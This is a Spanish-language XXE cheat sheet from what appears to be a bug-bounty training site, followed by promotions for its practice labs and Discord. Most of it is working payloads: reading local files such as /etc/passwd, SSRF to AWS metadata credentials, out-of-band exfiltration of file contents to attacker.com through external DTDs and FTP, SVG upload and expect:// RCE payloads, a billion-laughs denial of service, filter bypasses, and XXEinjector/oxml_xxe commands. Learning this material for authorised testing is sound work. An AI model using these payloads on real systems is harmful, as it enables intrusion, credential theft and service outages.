Cheatsheet XXE

XML External Entity

Referencia rápida

  • →Buscar XXE en: uploads de DOCX/XLSX/SVG, APIs SOAP, parsers RSS/XML, configuraciones SAML
  • →Convertir Content-Type a application/xml en cualquier endpoint que acepte datos
  • →Para blind XXE, usar parameter entities (%) con DTD externo para exfiltracion OOB
  • →SVG es ideal para XXE porque no tiene magic bytes - bypasea validaciones de imagen
  • →Si el parser es PHP, probar expect:// para RCE directo

Lectura de archivos (LFI)

LFI basico /etc/passwd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>

PHP filter base64

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php">
]><foo><result>&ac;</result></foo>

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

CDATA wrapper para XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd">
%dtd;]>
<data>&wrapper;</data>

SSRF via XXE

SSRF a servicio interno

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://internal-service.com/admin">
]><foo>&xxe;</foo>

AWS metadata via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]><foo>&xxe;</foo>

Blind XXE - Out-of-Band

OOB via Collaborator

<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com">
]><stockCheck><productId>&xxe;</productId></stockCheck>

Parameter entity OOB

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR">
%xxe; ]>

Exfiltracion via DTD externoexploit.dtd contiene: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd">
%xxe;]>

FTP exfiltracionftp.dtd envia datos via FTP al servidor del atacante

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd">
%remote; %send;]>
<data>4</data>

XXE via upload de archivos

SVG con XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

SVG con expect:// (RCE)

<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="expect://id"></image>
</svg>

UTF-7 encoding bypassConvierte con: recode UTF8..UTF7 payload.xml

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

DoS y bypass de filtros

Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]><lolz>&lol9;</lolz>

Case manipulation bypass

<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>

Base64 encoding bypass

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
]><foo>&xxe;</foo>

DTD chaining

<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
%remote;]>

Herramientas

XXEinjector

Herramienta automatizada de XXE con multiples modos de exfiltracion

ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http

oxml_xxe

Genera archivos DOCX/XLSX/PPTX con payloads XXE embebidos

python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx

Burp Collaborator

Servidor OOB para confirmar blind XXE via DNS/HTTP callbacks

Burp Suite > Burp Collaborator Client > Copy to clipboard

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.